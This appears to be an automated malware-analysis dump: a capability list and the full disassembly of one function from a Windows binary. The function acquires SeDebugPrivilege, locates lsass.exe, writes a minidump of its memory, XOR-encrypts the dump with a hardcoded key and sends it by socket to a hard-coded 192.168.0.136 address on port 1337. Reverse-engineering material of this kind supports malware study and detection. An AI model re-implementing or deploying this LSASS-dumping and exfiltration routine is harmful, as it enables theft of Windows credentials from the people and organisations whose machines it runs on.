Function at 0x1400011a0
Capabilities:
Connect socket
Convert ip address from string
Create process memory minidump
Encode data using xor
Initialize winsock library
Send data
Send data on socket

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x388]
sub rsp, 0x488
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rbp + 0x360], rax
xorps xmm0, xmm0
xor r14d, r14d
mov qword [rsp + 0x58], r14
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [r14 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001203
lea rcx, str.____Could_not_get_current_process_token_with_TOKEN_ADJUST_PRIVILEGES_n
call fcn.1400010a0
xor eax, eax
jmp 0x140001700
movdqa xmm0, xmmword [str.SeDebugPrivilege_]
lea r8, [rsp + 0x64]
mov eax, 2
mov dword [rsp + 0x60], 1
lea rdx, [rbp + 0x130]
mov dword [rsp + 0x6c], eax
xor ecx, ecx
mov byte [rbp + 0x140], r14b
movdqu xmmword [rbp + 0x130], xmm0
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x58]
test eax, eax
jne 0x140001261
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____No_SeDebugPrivs._Make_sure_you_are_an_admin_n
call fcn.1400010a0
xor eax, eax
jmp 0x140001700
mov qword [rsp + 0x28], r14
lea r8, [rsp + 0x60]
mov r9d, send
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x58]
test eax, eax
jne 0x1400012a0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Could_not_adjust_to_SeDebugPrivs_n
call fcn.1400010a0
xor eax, eax
jmp 0x140001700
mov qword [rsp + 0x4a0], rbx
mov qword [rsp + 0x4a8], rsi
mov qword [rsp + 0x4b0], rdi
mov qword [rsp + 0x480], r12
mov qword [rsp + 0x478], r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.v1.0
lea rcx, str.handle_monitor__s___Adam_Kramer_n
call fcn.1400010a0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtDuplicateObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateProcessEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x9eb100
call fcn.140001750
xor edx, edx
mov r8d, 0x9eb100
mov rcx, rax
call fcn.140002c40
mov ebx, 0x10000
mov ecx, ebx
call fcn.140009f58
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call rdi
cmp eax, 0xc0000004
jne 0x1400013c8
nop dword [rax]
lea ecx, [rbx + rbx]
mov ebx, ecx
mov edx, ecx
mov rcx, rsi
call fcn.140005b30
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rsi, rax
lea ecx, [r9 + 0x10]
call rdi
cmp eax, 0xc0000004
je 0x1400013a0
test eax, eax
jns 0x1400013e2
lea rcx, str.NtQuerySystemInformation_failed__n
call fcn.1400010a0
mov eax, 1
jmp 0x1400016d8
mov qword [rsp + 0x470], r15
mov r15d, r14d
cmp dword [rsi], r14d
jbe 0x1400016ce
lea rdi, str.Process
nop dword [rax]
mov eax, r15d
xor edx, edx
mov qword [rsp + 0x58], r14
lea rcx, [rax + rax*2]
movups xmm1, xmmword [rsi + rcx*8 + 8]
lea ecx, [rdx + 0x40]
movd r8d, xmm1
movups xmmword [rsp + 0x40], xmm1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400016ac
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movzx edx, word [rsp + 0x46]
lea r9, [rsp + 0x58]
mov dword [rsp + 0x30], r14d
mov r8, rax
mov dword [rsp + 0x28], r14d
mov rcx, rbx
mov dword [rsp + 0x20], 0x410
call r12
test eax, eax
jns 0x14000147a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400016ac
mov ecx, 0x1000
call fcn.140009f58
mov rcx, qword [rsp + 0x58]
mov r9d, 0x1000
mov r8, rax
mov qword [rsp + 0x20], r14
mov edx, 2
mov rbx, rax
call r13
test eax, eax
jns 0x1400014ca
mov rcx, rbx
call fcn.140009f44
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.QUERY_FAIL
call fcn.1400010a0
jmp 0x1400016ac
mov rdx, qword [rbx + 8]
mov rax, r14
movzx ecx, word [rdx + rax*2]
inc rax
cmp cx, word [rdi + rax*2 - 2]
jne 0x1400014ea
cmp rax, 4
jne 0x1400014d1
jmp 0x1400016ac
mov rcx, qword [rsp + 0x58]
lea r9, [rsp + 0x70]
lea r8, [rbp + 0x150]
mov dword [rsp + 0x70], 0x104
xor edx, edx
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
je 0x1400016ac
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x150]
call fcn.14000262c
test rax, rax
je 0x1400016ac
mov r8, qword [rbx + 8]
lea rdx, [rbp + 0x150]
lea rcx, str.Process_Image_File_Name:__s__Type:__s_n
call fcn.140001040
mov rcx, qword [rsp + 0x58]
lea rax, [0x140001100]
mov qword [rbp + 0x130], rax
mov ebx, 2
lea rax, [rbp + 0x130]
mov qword [rbp + 0x138], r14
mov qword [rsp + 0x30], rax
mov r9d, ebx
mov qword [rsp + 0x28], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
je 0x1400016ba
lea rcx, str.___Successfully_dumped__to_memory__n
call fcn.1400010a0
movsd xmm0, qword [str.jisjidpa123]
lea rdx, [rsp + 0x60]
mov eax, dword [0x1400217a8]
lea rcx, str.___Xor_encrypting_the_memory_buffer_containing_the_dump_data_n___Xor_key:__s_n
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
call fcn.1400010a0
mov rdi, qword [0x140025c90]
mov rax, r14
movsxd r14, dword [0x140025c88]
mov r8, r14
test r14d, r14d
jle 0x140001602
mov rdx, rdi
xor ecx, ecx
lea rdx, [rdx + 1]
cmp rax, 0xb
cmovne rcx, rax
movzx eax, byte [rsp + rcx + 0x60]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
sub r8, 1
jne 0x1400015e2
mov ecx, 0x202
lea rdx, [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
mov ecx, ebx
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000169c
mov eax, 2
mov ecx, 0x539
mov word [rsp + 0x78], ax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x7c]
mov ecx, 2
lea rdx, str.192.168.0.136
mov word [rsp + 0x7a], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
xor r9d, r9d
mov r8d, r14d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140001693
mov edx, eax
lea rcx, str.____d_bytes_send
call fcn.1400010a0
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor r14d, r14d
lea rdi, str.Process
inc r15d
cmp r15d, dword [rsi]
jb 0x140001400
jmp 0x1400016ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_dump__to_memory_n____Error_Code:__i_n
call fcn.1400010a0
mov r15, qword [rsp + 0x470]
xor eax, eax
mov r12, qword [rsp + 0x480]
mov rdi, qword [rsp + 0x4b0]
mov rsi, qword [rsp + 0x4a8]
mov rbx, qword [rsp + 0x4a0]
mov r13, qword [rsp + 0x478]
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140001730
add rsp, 0x488
pop r14
pop rbp
ret